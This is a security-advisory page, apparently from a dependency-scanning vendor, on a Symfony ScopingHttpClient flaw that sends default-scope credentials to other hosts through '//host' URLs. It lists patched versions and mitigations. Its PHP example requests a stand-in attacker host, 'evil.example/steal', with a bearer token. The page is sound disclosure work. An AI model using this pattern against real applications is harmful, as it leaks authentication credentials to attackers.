NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path ReferencesGHSA-gq53-v8w2-gjhj

Fix: symfony/symfony@64c34e8

GHSA-gq53-v8w2-gjhj is a Information Exposure vulnerability in symfony/http-client. A fix is available for symfony/http-client — see the affected versions and patch details below.

Also known asCVE-2026-121971
Published
Updated
Affected
8 pkgs
Patched
8 / 8
Exploits
None indexed
Exploitation data as of Dec 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gq53-v8w2-gjhj.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

8 pkgs affected
🐘symfony/http-client🐘symfony/http-client🐘symfony/http-client🐘symfony/http-client🐘symfony/symfony🐘symfony/symfony🐘symfony/symfony🐘symfony/symfony

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Description

ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.

$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
    'auth_bearer' => 'secret',
]);

$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"

This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.

Resolution

After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.

The user-info part counts as part of the authority: //[email protected]/ does not receive the options of the default scope anymore.

The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).

Credits

Symfony would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.

Symfony would also like to thank Bruno Dias and Catarina Amorim from Checkmarx for their help getting a CVE assigned.

Affected Packages

8 total 8 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistsymfony/http-clientall versions5.4.56composer require symfony/http-client:^5.4.56
🐘Packagistsymfony/http-client≥ 6.0.0&&< 6.4.506.4.50composer require symfony/http-client:^6.4.50
🐘Packagistsymfony/http-client≥ 7.0.0&&< 7.4.237.4.23composer require symfony/http-client:^7.4.23
🐘Packagistsymfony/http-client≥ 8.0.0&&< 8.1.118.1.11composer require symfony/http-client:^8.1.11
🐘Packagistsymfony/symfonyall versions5.4.56composer require symfony/symfony:^5.4.56
🐘Packagistsymfony/symfony≥ 6.0.0&&< 6.4.506.4.50composer require symfony/symfony:^6.4.50

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for symfony/http-client, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update symfony/http-client to 5.4.56 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq53-v8w2-gjhj is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability is rated as Important severity because an unauthenticated remote attacker can trigger the transmission of high-value authentication credentials to arbitrary hosts without requiring special privileges. In typical Red Hat environments, Symfony HttpClient is utilized within custom PHP applications and…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability. --- CME Mitigation Guidance (2026-11-06) --- Disclaimer: The following mitigation solutions are provided as a courtesy, pending the application of an official patch. This content was generated utilizing AI tools in conjunction with data from https://cmetaxonomy.org. Customers are advised to independently evaluate and test these temporary mitigations within their own infrastructure. The highest-value action is to ensure ScopingHttpClient verifies that the…
Source: Red Hat security advisory for GHSA-gq53-v8w2-gjhj (CC BY 4.0)

Frequently Asked Questions

### Description `ScopingHttpClient` applies the options of a scope, such as `auth_bearer`, `auth_basic`, `headers` or `local_cert`, to the URLs that match that scope only. A relative URL is resolved against the `base_uri` of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as `//evil.example/steal` carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute sp
O3 Security · Impact-Aware SCA

Is GHSA-gq53-v8w2-gjhj in your dependencies?

Find it across Packagist, including transitive dependencies.

Symfony: ScopingHttpClient Sends the Credentials of Its…